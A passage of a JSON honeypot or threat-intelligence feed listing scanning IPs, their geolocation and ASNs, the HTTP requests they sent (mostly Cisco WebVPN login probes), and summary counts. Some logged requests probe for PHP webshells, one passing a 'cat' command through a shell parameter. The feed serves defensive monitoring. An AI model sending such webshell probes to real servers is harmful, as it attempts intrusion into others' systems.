        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.211.73": {
      "attack_count": 15,
      "first_seen": "2026-04-08T10:45:52.429Z",
      "last_seen": "2026-04-27T21:17:12.348Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "79.127.222.200": {
      "attack_count": 15,
      "first_seen": "2026-04-08T18:54:05.335Z",
      "last_seen": "2026-04-24T16:06:28.396Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "McAllen",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "172.120.169.5": {
      "attack_count": 14,
      "first_seen": "2026-04-13T02:55:51.811Z",
      "last_seen": "2026-04-13T03:02:02.635Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "172.120.234.32": {
      "attack_count": 14,
      "first_seen": "2026-04-13T05:42:12.800Z",
      "last_seen": "2026-04-13T14:06:48.805Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "45.87.127.121": {
      "attack_count": 14,
      "first_seen": "2026-04-13T03:25:06.799Z",
      "last_seen": "2026-04-14T00:53:11.025Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Francisco",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "45.84.107.182": {
      "attack_count": 13,
      "first_seen": "2026-04-24T09:05:42.252Z",
      "last_seen": "2026-04-24T09:15:33.257Z",
      "ports": [],
      "event_types": [
        "\"GET /Z3R0-C00L.php? HTTP/1.1\" 404 -",
        "\"GET /_asterisk/Ultimatex.php?ed3b0941a97e7f9=admin&asd HTTP/1.1\" 404 -",
        "\"GET /admin/modules/config.php? HTTP/1.1\" 404 -",
        "\"GET /classes/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /components/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /config/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /configs/config.all.php?x HTTP/1.1\" 404 -",
        "\"GET /emo.php?yokyok=cat+emo.php& HTTP/1.1\" 404 -",
        "\"GET /welcome/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /widgets/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /xmlservices/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /yii/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "103.102.246.100": {
      "attack_count": 12,
      "first_seen": "2026-04-08T10:43:06.216Z",
      "last_seen": "2026-04-29T14:28:13.096Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "23.162.40.31": {
      "attack_count": 12,
      "first_seen": "2026-04-19T00:35:25.936Z",
      "last_seen": "2026-04-26T16:35:22.435Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 400882,
      "as_org": "Cyber Data LLC"
    },
    "23.234.113.106": {
      "attack_count": 12,
      "first_seen": "2026-04-21T07:29:25.900Z",
      "last_seen": "2026-04-23T15:21:45.393Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.227": {
      "attack_count": 12,
      "first_seen": "2026-04-10T12:59:29.346Z",
      "last_seen": "2026-04-18T11:54:00.399Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.146": {
      "attack_count": 12,
      "first_seen": "2026-04-18T17:47:42.532Z",
      "last_seen": "2026-04-24T18:29:08.213Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.72.45": {
      "attack_count": 11,
      "first_seen": "2026-04-18T10:28:41.245Z",
      "last_seen": "2026-04-26T12:12:44.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "142.111.121.60": {
      "attack_count": 9,
      "first_seen": "2026-04-13T12:17:31.613Z",
      "last_seen": "2026-04-13T12:17:55.818Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.71.105": {
      "attack_count": 9,
      "first_seen": "2026-04-11T09:13:08.006Z",
      "last_seen": "2026-04-24T21:11:55.908Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.217.37": {
      "attack_count": 9,
      "first_seen": "2026-04-10T04:57:23.710Z",
      "last_seen": "2026-04-30T04:48:02.416Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "138.199.43.75": {
      "attack_count": 6,
      "first_seen": "2026-04-09T00:02:57.725Z",
      "last_seen": "2026-04-13T15:01:31.496Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.71.233": {
      "attack_count": 6,
      "first_seen": "2026-04-08T12:42:53.226Z",
      "last_seen": "2026-04-24T22:06:16.391Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.104": {
      "attack_count": 6,
      "first_seen": "2026-04-24T20:23:58.114Z",
      "last_seen": "2026-04-25T13:45:07.219Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "47.89.246.29": {
      "attack_count": 6,
      "first_seen": "2026-04-26T05:32:54.947Z",
      "last_seen": "2026-04-26T05:33:10.366Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/win.js HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "66.132.195.102": {
      "attack_count": 6,
      "first_seen": "2026-04-05T03:03:20.730Z",
      "last_seen": "2026-04-05T03:04:24.027Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.65": {
      "attack_count": 6,
      "first_seen": "2026-04-26T04:50:26.980Z",
      "last_seen": "2026-04-26T04:53:22.556Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.87": {
      "attack_count": 6,
      "first_seen": "2026-04-30T01:54:35.637Z",
      "last_seen": "2026-04-30T01:55:47.773Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.95": {
      "attack_count": 6,
      "first_seen": "2026-04-02T20:56:50.832Z",
      "last_seen": "2026-04-02T20:57:24.704Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "155.2.191.231": {
      "attack_count": 3,
      "first_seen": "2026-04-29T13:04:51.096Z",
      "last_seen": "2026-04-29T13:04:58.992Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 136557,
      "as_org": "Host Universal Pty Ltd"
    },
    "23.162.8.80": {
      "attack_count": 3,
      "first_seen": "2026-04-27T10:06:48.027Z",
      "last_seen": "2026-04-27T10:06:58.798Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 25737,
      "as_org": "Jone Broadband LLC"
    },
    "87.249.134.20": {
      "attack_count": 3,
      "first_seen": "2026-04-21T19:04:47.488Z",
      "last_seen": "2026-04-21T19:04:53.584Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "109.105.210.95": {
      "attack_count": 2,
      "first_seen": "2026-04-04T18:09:45.652Z",
      "last_seen": "2026-04-04T18:09:48.656Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "147.185.132.114": {
      "attack_count": 2,
      "first_seen": "2026-04-30T04:49:35.734Z",
      "last_seen": "2026-04-30T04:49:38.737Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "185.220.100.240": {
      "attack_count": 2,
      "first_seen": "2026-04-24T09:05:24.165Z",
      "last_seen": "2026-04-24T09:06:44.683Z",
      "ports": [],
      "event_types": [
        "\"GET /ssh.php?2123 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 205100,
      "as_org": "F3 Netze e.V."
    },
    "185.226.197.73": {
      "attack_count": 2,
      "first_seen": "2026-04-30T01:53:43.397Z",
      "last_seen": "2026-04-30T01:53:46.401Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "20.15.224.207": {
      "attack_count": 2,
      "first_seen": "2026-04-23T07:45:28.266Z",
      "last_seen": "2026-04-23T07:45:31.269Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "64.62.156.138": {
      "attack_count": 2,
      "first_seen": "2026-04-24T02:50:15.004Z",
      "last_seen": "2026-04-24T02:51:58.557Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.108": {
      "attack_count": 2,
      "first_seen": "2026-04-08T07:51:24.089Z",
      "last_seen": "2026-04-08T07:52:01.552Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "69.55.49.147": {
      "attack_count": 2,
      "first_seen": "2026-04-08T08:48:04.408Z",
      "last_seen": "2026-04-08T08:48:07.412Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "74.249.177.110": {
      "attack_count": 2,
      "first_seen": "2026-04-19T12:28:19.404Z",
      "last_seen": "2026-04-19T12:28:22.409Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "91.196.152.251": {
      "attack_count": 2,
      "first_seen": "2026-04-02T09:35:05.006Z",
      "last_seen": "2026-04-11T00:58:31.071Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "195.184.76.248": {
      "attack_count": 1,
      "first_seen": "2026-04-10T02:23:57.245Z",
      "last_seen": "2026-04-10T02:23:57.245Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/session_password.html HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "34.224.87.72": {
      "attack_count": 1,
      "first_seen": "2026-04-24T00:57:34.096Z",
      "last_seen": "2026-04-24T00:57:34.096Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.84.107.74": {
      "attack_count": 1,
      "first_seen": "2026-04-24T09:15:52.933Z",
      "last_seen": "2026-04-24T09:15:52.933Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/config.all.php?x HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "52.90.4.34": {
      "attack_count": 1,
      "first_seen": "2026-04-30T00:59:07.086Z",
      "last_seen": "2026-04-30T00:59:07.086Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "62.60.131.252": {
      "attack_count": 1,
      "first_seen": "2026-04-15T08:59:32.278Z",
      "last_seen": "2026-04-15T08:59:32.278Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Iran",
      "country_code": "IR",
      "city": "Tehran",
      "asn": 208137,
      "as_org": "Feo Prest SRL"
    },
    "64.62.156.140": {
      "attack_count": 1,
      "first_seen": "2026-04-24T02:51:43.659Z",
      "last_seen": "2026-04-24T02:51:43.659Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.156.159": {
      "attack_count": 1,
      "first_seen": "2026-04-04T10:15:47.026Z",
      "last_seen": "2026-04-04T10:15:47.026Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.240": {
      "attack_count": 1,
      "first_seen": "2026-04-25T05:36:27.494Z",
      "last_seen": "2026-04-25T05:36:27.494Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.240": {
      "attack_count": 1,
      "first_seen": "2026-04-10T07:54:27.858Z",
      "last_seen": "2026-04-10T07:54:27.858Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.60": {
      "attack_count": 1,
      "first_seen": "2026-04-30T00:37:38.204Z",
      "last_seen": "2026-04-30T00:37:38.204Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "74.82.47.8": {
      "attack_count": 1,
      "first_seen": "2026-04-30T00:37:41.302Z",
      "last_seen": "2026-04-30T00:37:41.302Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Gunnison",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "91.196.152.127": {
      "attack_count": 1,
      "first_seen": "2026-04-02T03:13:15.445Z",
      "last_seen": "2026-04-02T03:13:15.445Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.26": {
      "attack_count": 1,
      "first_seen": "2026-04-02T03:17:34.546Z",
      "last_seen": "2026-04-02T03:17:34.546Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.122": {
      "attack_count": 1,
      "first_seen": "2026-04-19T11:52:13.410Z",
      "last_seen": "2026-04-19T11:52:13.410Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.230.168.33": {
      "attack_count": 1,
      "first_seen": "2026-04-05T11:47:15.051Z",
      "last_seen": "2026-04-05T11:47:15.051Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "United States": 21209,
      "Russia": 1091,
      "Japan": 161,
      "Germany": 161,
      "Bulgaria": 150,
      "Hong Kong": 132,
      "Seychelles": 112,
      "France": 100,
      "Sweden": 87,
      "Ukraine": 87,
      "Poland": 76,
      "The Netherlands": 48,
      "Portugal": 48,
      "Brazil": 48,
      "Netherlands": 43,
      "Hungary": 35,
      "United Kingdom": 34,
      "Switzerland": 30,
      "China": 26,
      "India": 19
    },
    "top_asns": {
      "tzulo, inc.": 7121,
      "Omegatech LTD": 2901,
      "Datacamp Limited": 2054,
      "Clouvider Limited": 1690,
      "Host Telecom Ltd": 1427,
      "Shock Hosting LLC": 1346,
      "M247 Europe SRL": 993,
      "HostRoyale Technologies Pvt Ltd": 951,
      "Global Connectivity Solutions Llp": 666,
      "BlueVPS OU": 426,
      "Soldatov Alexey Valerevich": 408,
      "Hurricane Electric LLC": 347,
      "Host Universal Pty Ltd": 318,
      "Interserver, Inc": 269,
      "UCLOUD INFORMATION TECHNOLOGY HK LIMITED": 240,
      "Green Floid LLC": 224,
      "Censys, Inc.": 175,
      "Amazon.com, Inc.": 153,
      "MEVSPACE sp. z o.o.": 141,
      "Hayashimo LLC": 129
    },
    "targeted_ports": {},
    "top_events": {
      "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -": 1134,
      "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -": 1122,
      "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -": 885,
      "\"GET / HTTP/1.1\" 200 -": 474,
      "Request timed out: TimeoutError(The read operation timed out)": 404,
      "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -": 228,
      "\"GET /favicon.ico HTTP/1.1\" 404 -": 129,
      "\"GET /robots.txt HTTP/1.1\" 404 -": 46,
      "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -": 29,
      "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -": 29,
      "\"PRI * HTTP/2.0\" 505 -": 27,
      "code 505": 27,
      "\"GET /version HTTP/1.1\" 404 -": 26,
      "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -": 25,
      "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -": 24,
      "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -": 23,
      "\"GET /login?redir=/ng HTTP/1.1\" 404 -": 18,
      "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -": 17,
      "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -": 17,
      "\"GET /remote/logincheck HTTP/1.1\" 404 -": 17
    },
    "top_usernames": {}
  },
  "x_mitre_attack": {
    "techniques": {
      "T1133": {
        "name": "External Remote Services",
        "tactic": "Initial Access",
        "ip_count": 1666,
